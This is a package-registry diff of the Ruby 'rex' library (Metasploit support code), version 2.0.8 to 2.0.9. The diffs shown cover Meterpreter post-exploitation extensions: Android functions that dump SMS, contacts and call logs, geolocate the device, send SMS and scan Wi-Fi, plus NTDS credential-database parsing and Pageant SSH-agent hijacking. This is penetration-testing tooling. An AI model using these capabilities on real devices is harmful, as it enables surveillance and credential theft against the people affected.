rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -1,11 +1,11 @@
1
1
  #!/usr/bin/env ruby
2
+ #
2
3
  # -*- coding: binary -*-
3
4
  require 'rex/post/meterpreter/extensions/android/tlv'
4
5
  require 'rex/post/meterpreter/packet'
5
6
  require 'rex/post/meterpreter/client'
6
7
  require 'rex/post/meterpreter/channels/pools/stream_pool'
7
8
 
8
-
9
9
  module Rex
10
10
  module Post
11
11
  module Meterpreter
@@ -17,9 +17,28 @@ module Android
17
17
  # extension by Anwar Mohamed (@anwarelmakrahy)
18
18
  ###
19
19
 
20
-
21
20
  class Android < Extension
22
21
 
22
+ COLLECT_TYPE_WIFI = 1
23
+
24
+ COLLECT_ACTION_START = 1
25
+ COLLECT_ACTION_PAUSE = 2
26
+ COLLECT_ACTION_RESUME = 3
27
+ COLLECT_ACTION_STOP = 4
28
+ COLLECT_ACTION_DUMP = 5
29
+
30
+ COLLECT_TYPES = {
31
+ 'wifi' => COLLECT_TYPE_WIFI
32
+ }
33
+
34
+ COLLECT_ACTIONS = {
35
+ 'start' => COLLECT_ACTION_START,
36
+ 'pause' => COLLECT_ACTION_PAUSE,
37
+ 'resume' => COLLECT_ACTION_START,
38
+ 'stop' => COLLECT_ACTION_STOP,
39
+ 'dump' => COLLECT_ACTION_DUMP
40
+ }
41
+
23
42
  def initialize(client)
24
43
  super(client, 'android')
25
44
 
@@ -30,88 +49,129 @@ class Android < Extension
30
49
  {
31
50
  'name' => 'android',
32
51
  'ext' => self
33
- },
52
+ }
34
53
  ])
35
54
  end
36
-
55
+
56
+ def collect_actions
57
+ return @@collect_action_list ||= COLLECT_ACTIONS.keys
58
+ end
59
+
60
+ def collect_types
61
+ return @@collect_type_list ||= COLLECT_TYPES.keys
62
+ end
63
+
37
64
  def device_shutdown(n)
38
65
  request = Packet.create_request('device_shutdown')
39
66
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
40
67
  response = client.send_request(request)
41
- return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
42
- end
43
-
68
+ response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
69
+ end
70
+
71
+ def interval_collect(opts)
72
+ request = Packet.create_request('interval_collect')
73
+ request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
74
+ request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
75
+ request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
76
+ response = client.send_request(request)
77
+
78
+ result = {
79
+ headers: [],
80
+ collections: []
81
+ }
82
+
83
+ case COLLECT_TYPES[opts[:type]]
84
+ when COLLECT_TYPE_WIFI
85
+ result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
86
+ result[:entries] = []
87
+ records = {}
88
+
89
+ response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
90
+ timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
91
+ timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')
92
+
93
+ g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
94
+ bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
95
+ ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
96
+ key = "#{bssid}-#{ssid}"
97
+
98
+ if !records.include?(key) || records[key][0] < timestamp
99
+ # Level is passed through as positive, because UINT
100
+ # but we flip it back to negative on this side
101
+ level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
102
+ records[key] = [timestamp, bssid, ssid, level]
103
+ end
104
+ end
105
+ end
106
+
107
+ records.each do |k, v|
108
+ result[:entries] << v
109
+ end
110
+ end
111
+
112
+ result
113
+ end
114
+
44
115
  def dump_sms
45
- sms = Array.new
116
+ sms = []
46
117
  request = Packet.create_request('dump_sms')
47
118
  response = client.send_request(request)
48
119
 
49
- response.each( TLV_TYPE_SMS_GROUP ) { |p|
50
-
51
- sms <<
52
- {
120
+ response.each(TLV_TYPE_SMS_GROUP) do |p|
121
+ sms << {
53
122
  'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
54
123
  'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
55
124
  'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
56
125
  'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
57
126
  'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
58
127
  }
59
-
60
- }
61
- return sms
128
+ end
129
+ sms
62
130
  end
63
131
 
64
132
  def dump_contacts
65
- contacts = Array.new
133
+ contacts = []
66
134
  request = Packet.create_request('dump_contacts')
67
135
  response = client.send_request(request)
68
136
 
69
- response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
70
-
71
- contacts <<
72
- {
137
+ response.each(TLV_TYPE_CONTACT_GROUP) do |p|
138
+ contacts << {
73
139
  'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
74
140
  'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
75
141
  'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
76
142
  }
77
-
78
- }
79
- return contacts
143
+ end
144
+ contacts
80
145
  end
81
146
 
82
147
  def geolocate
83
-
84
- loc = Array.new
148
+ loc = []
85
149
  request = Packet.create_request('geolocate')
86
150
  response = client.send_request(request)
87
151
 
88
- loc <<
89
- {
152
+ loc << {
90
153
  'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
91
154
  'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
92
155
  }
93
156
 
94
- return loc
157
+ loc
95
158
  end
96
159
 
97
160
  def dump_calllog
98
- log = Array.new
161
+ log = []
99
162
  request = Packet.create_request('dump_calllog')
100
163
  response = client.send_request(request)
101
164
 
102
- response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
103
-
104
- log <<
105
- {
165
+ response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
166
+ log << {
106
167
  'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
107
168
  'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
108
169
  'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
109
170
  'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
110
171
  'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
111
172
  }
112
-
113
- }
114
- return log
173
+ end
174
+ log
115
175
  end
116
176
 
117
177
  def check_root
@@ -119,8 +179,38 @@ class Android < Extension
119
179
  response = client.send_request(request)
120
180
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
121
181
  end
122
- end
123
182
 
183
+ def send_sms(dest, body, dr)
184
+ request = Packet.create_request('send_sms')
185
+ request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
186
+ request.add_tlv(TLV_TYPE_SMS_BODY, body)
187
+ request.add_tlv(TLV_TYPE_SMS_DR, dr)
188
+ if dr == false
189
+ response = client.send_request(request)
190
+ sr = response.get_tlv(TLV_TYPE_SMS_SR).value
191
+ return sr
192
+ else
193
+ response = client.send_request(request, 30)
194
+ sr = response.get_tlv(TLV_TYPE_SMS_SR).value
195
+ dr = response.get_tlv(TLV_TYPE_SMS_SR).value
196
+ return [sr, dr]
197
+ end
198
+ end
199
+
200
+ def wlan_geolocate
201
+ request = Packet.create_request('wlan_geolocate')
202
+ response = client.send_request(request, 30)
203
+ networks = []
204
+ response.each(TLV_TYPE_WLAN_GROUP) do |p|
205
+ networks << {
206
+ 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
207
+ 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
208
+ 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
209
+ }
210
+ end
211
+ networks
212
+ end
213
+ end
124
214
  end
125
215
  end
126
216
  end
@@ -7,31 +7,52 @@ module Meterpreter
7
7
  module Extensions
8
8
  module Android
9
9
 
10
- TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
11
- TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
12
- TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
13
- TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
14
- TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
15
- TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
16
-
17
- TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
18
- TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
19
- TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
20
- TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
21
-
22
- TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
23
- TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
24
-
25
- TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
26
- TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
27
- TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
28
- TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
29
- TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
30
- TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
31
-
32
- TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
33
-
34
- TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
10
+ TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
11
+ TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
12
+ TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
13
+ TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
14
+ TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
15
+ TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
16
+
17
+ TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
18
+ TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
19
+ TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
20
+ TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
21
+
22
+ TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
23
+ TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
24
+
25
+ TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
26
+ TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
27
+ TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
28
+ TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
29
+ TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
30
+ TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
31
+
32
+ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
33
+
34
+ TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
35
+
36
+ TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
37
+
38
+ TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
39
+ TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
40
+ TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
41
+ TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
42
+
43
+ TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
44
+
45
+ TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050)
46
+ TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051)
47
+ TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052)
48
+ TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053)
49
+ TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054)
50
+
51
+ # Reuse existing IDs for these
52
+ TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP
53
+ TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID
54
+ TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID
55
+ TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL
35
56
 
36
57
  end
37
58
  end
@@ -5,6 +5,8 @@ require 'rex/post/meterpreter/extensions/extapi/window/window'
5
5
  require 'rex/post/meterpreter/extensions/extapi/service/service'
6
6
  require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
7
7
  require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
8
+ require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
9
+ require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
8
10
  require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
9
11
 
10
12
  module Rex
@@ -34,6 +36,8 @@ class Extapi < Extension
34
36
  'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
35
37
  'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
36
38
  'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
39
+ 'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
40
+ 'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
37
41
  'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
38
42
  })
39
43
  },
@@ -0,0 +1,39 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+ module Extensions
7
+ module Extapi
8
+ module Ntds
9
+
10
+ ###
11
+ #
12
+ # This meterpreter extension contains extended API functions for
13
+ # parsing the NT Directory Service database.
14
+ #
15
+ ###
16
+ class Ntds
17
+
18
+ def initialize(client)
19
+ @client = client
20
+ end
21
+
22
+ def parse(filepath)
23
+ request = Packet.create_request('extapi_ntds_parse')
24
+ request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
25
+ # wait up to 90 seconds for a response
26
+ response = client.send_request(request, 90)
27
+ channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
28
+ if channel_id.nil?
29
+ raise Exception, "We did not get a channel back!"
30
+ end
31
+ Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
32
+ end
33
+
34
+ attr_accessor :client
35
+
36
+ end
37
+
38
+ end; end; end; end; end; end
39
+
@@ -0,0 +1,44 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+ module Extensions
7
+ module Extapi
8
+ module Pageant
9
+ ###
10
+ # PageantJacker extension - Hijack and interact with Pageant
11
+ #
12
+ # Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
13
+ #
14
+ ###
15
+ class Pageant
16
+ def initialize(client)
17
+ @client = client
18
+ end
19
+
20
+ def forward(blob, size)
21
+ return nil unless size > 0 && blob.size > 0
22
+
23
+ packet_request = Packet.create_request('extapi_pageant_send_query')
24
+ packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
25
+ packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
26
+
27
+ response = client.send_request(packet_request)
28
+ return nil unless response
29
+
30
+ {
31
+ success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
32
+ blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
33
+ error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
34
+ }
35
+ end
36
+
37
+ attr_accessor :client
38
+ end
39
+ end
40
+ end
41
+ end
42
+ end
43
+ end
44
+ end
@@ -72,6 +72,15 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E
72
72
  TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
73
73
  TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
74
74
 
75
+ TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
76
+ TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
77
+
78
+ TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
79
+ TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
80
